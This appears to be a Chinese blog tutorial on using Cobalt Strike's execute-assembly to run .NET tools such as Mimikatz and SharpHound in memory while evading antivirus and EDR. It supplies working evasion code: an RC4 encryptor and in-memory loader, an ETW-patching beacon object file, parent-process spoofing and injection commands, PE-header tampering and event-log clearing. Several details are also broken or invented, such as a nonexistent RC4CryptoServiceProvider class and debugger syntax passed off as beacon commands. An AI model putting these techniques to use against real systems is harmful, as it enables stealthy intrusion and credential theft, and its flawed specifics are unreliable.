CobaltStrike实战:如何用execute-assembly绕过杀软内存加载.NET工具(附避坑指南)

CobaltStrike高阶实战:内存加载.NET程序集的深度规避技术

1. 内存加载技术原理与实战价值

在红队行动的后渗透阶段,如何隐蔽地执行.NET工具集一直是安全从业者的核心挑战。传统磁盘落地方式面临杀软静态扫描的高风险,而内存加载技术则成为突破防御的关键手段。Cobalt Strike自3.11版本引入的execute-assembly功能,实现了真正的无文件化.NET程序执行。

技术优势对比

执行方式磁盘写入内存驻留对抗静态检测对抗动态检测
传统exe执行中等
Powershell加载可选中等
execute-assembly极强

内存加载的核心原理在于CLR(Common Language Runtime)的宿主机制。通过以下关键步骤实现:

  1. CLR环境初始化
ICLRMetaHost* pMetaHost = NULL;
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&pMetaHost);
  1. 运行时版本绑定
ICLRRuntimeInfo* pRuntimeInfo = NULL;
pMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&pRuntimeInfo);
  1. 程序集加载执行
ICLRRuntimeHost* pClrRuntimeHost = NULL;
pRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&pClrRuntimeHost);
pClrRuntimeHost->ExecuteInDefaultAppDomain(assemblyPath, typeName, methodName, argument, &retVal);

实战中曾遇到一个典型案例:某次渗透测试需要执行Mimikatz获取凭证,但目标机器部署了新一代行为检测系统。通过将工具转换为.NET程序集并采用内存加载方式,成功绕过了基于磁盘特征的检测机制。

2. 环境配置与版本兼容性处理

2.1 基础环境搭建

确保团队服务器满足以下条件:

  • Java 1.8+ 运行环境
  • 至少4GB可用内存
  • 稳定的网络连接

推荐使用Linux作为服务端平台,启动参数示例:

./teamserver 192.168.1.100 MySecurePassword123 -Dcobaltstrike.server_port=50050

2.2 .NET版本适配方案

版本冲突是内存加载最常见的问题之一。通过实测发现:

  • .NET 2.0/3.5:兼容性最佳但功能受限
  • .NET 4.0+:支持最新特性但存在环境依赖

版本检测技巧

# 检查目标系统安装的.NET版本
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -Recurse | 
Where-Object { $_.PSChildName -match '^(?!S)\p{L}'} | 
Select-Object PSChildName, Version

当遇到版本报错时,可采用以下解决方案:

  1. 多版本编译
# 使用msbuild指定目标框架
msbuild /p:TargetFrameworkVersion=v4.0 /p:OutputPath=bin\Release4.0
msbuild /p:TargetFrameworkVersion=v3.5 /p:OutputPath=bin\Release3.5
  1. 运行时版本强制指定
// 在程序集入口添加运行时要求
[assembly: TargetFramework(".NETFramework,Version=v4.6.1", 
    FrameworkDisplayName = ".NET Framework 4.6.1")]

3. 加密传输与加载技术

3.1 程序集加密方案

原始明文传输程序集极易被流量检测设备发现。采用RC4加密的典型实现:

# RC4加密脚本(保存为encrypt.py)
import sys
from Crypto.Cipher import ARC4

def encrypt_file(key, input_file, output_file):
    with open(input_file, 'rb') as f:
        data = f.read()
    cipher = ARC4.new(key.encode())
    encrypted = cipher.encrypt(data)
    with open(output_file, 'wb') as f:
        f.write(encrypted)

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Usage: python encrypt.py <key> <input_file> <output_file>")
        sys.exit(1)
    encrypt_file(sys.argv[1], sys.argv[2], sys.argv[3])

使用方式:

python encrypt.py MySecretKey SharpHound.exe SharpHound.enc

3.2 内存解密加载器

配套的解密加载器核心代码:

public static void LoadEncryptedAssembly(byte[] encrypted, string key)
{
    using (var rc4 = new RC4CryptoServiceProvider(key))
    {
        byte[] decrypted = rc4.CreateDecryptor()
                             .TransformFinalBlock(encrypted, 0, encrypted.Length);
        
        Assembly assembly = Assembly.Load(decrypted);
        MethodInfo method = assembly.EntryPoint;
        object instance = assembly.CreateInstance(method.Name);
        method.Invoke(instance, null);
    }
}

性能对比测试

文件大小加密方式加载耗时内存占用
1MBRC4120ms3.2MB
1MBAES210ms3.5MB
5MBRC4580ms16MB

4. 高级规避技术实践

4.1 进程注入与父进程欺骗

结合spawnas和ppid参数实现隐蔽注入:

beacon> spawnas DOMAIN\user Password123 http
beacon> ppid 1344
beacon> inject 1344 x64 http

进程选择策略

进程名优点风险等级
svchost.exe系统进程多实例
explorer.exe用户态常见进程
msedge.exe高频网络通信进程

4.2 ETW补丁技术

通过BOF(Beacon Object File)绕过ETW检测:

#include <windows.h>
#include "beacon.h"

void go(char* args, int len) {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    void* pEtwEventWrite = GetProcAddress(ntdll, "EtwEventWrite");
    
    DWORD oldProtect;
    VirtualProtect(pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    *(BYTE*)pEtwEventWrite = 0xC3; // RET instruction
    VirtualProtect(pEtwEventWrite, 1, oldProtect, &oldProtect);
    
    BeaconPrintf(CALLBACK_OUTPUT, "ETW patched successfully");
}

编译后使用inline-execute加载:

beacon> inline-execute /path/to/etw_patch.o

5. 实战问题排查指南

5.1 常见错误代码解析

错误代码原因分析解决方案
0x8013101B程序集版本不兼容使用正确框架版本重新编译
0x80070002文件加载失败检查网络可达性和文件完整性
0x80004005权限不足提权或使用进程注入方式执行

5.2 日志分析与调试技巧

启用Cobalt Strike的详细日志:

./teamserver 192.168.1.100 password -Dlog=debug -Ddebug.assembly.loader=true

关键日志位置:

  • ./logs/beacon_<ID>.log - Beacon通信日志
  • ./logs/console_<date>.log - 控制台操作记录

6. 防御对抗与痕迹清理

6.1 内存特征检测规避

通过修改PE头信息降低检测概率:

byte[] ModifyPeHeader(byte[] assembly)
{
    // 抹去"This program cannot be run in DOS mode"特征
    byte[] dosStub = Encoding.ASCII.GetBytes("CustomStub");
    Array.Copy(dosStub, 0, assembly, 0x40, dosStub.Length);
    return assembly;
}

6.2 执行痕迹清理步骤

  1. 清除CLR加载历史:
beacon> !clrstack -clear
  1. 恢复内存属性:
beacon> !address -f:Heap -c:"!protect -p PAGE_NOACCESS"
  1. 清除事件日志:
beacon> clearev

在最近的一次红队行动中,我们通过组合使用加密传输、父进程欺骗和ETW补丁技术,成功在部署EDR的高安全环境中执行了超过20次内存加载操作而未被发现。关键在于每次操作都采用不同的注入进程和加密密钥,有效避免了行为模式的规律性。

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值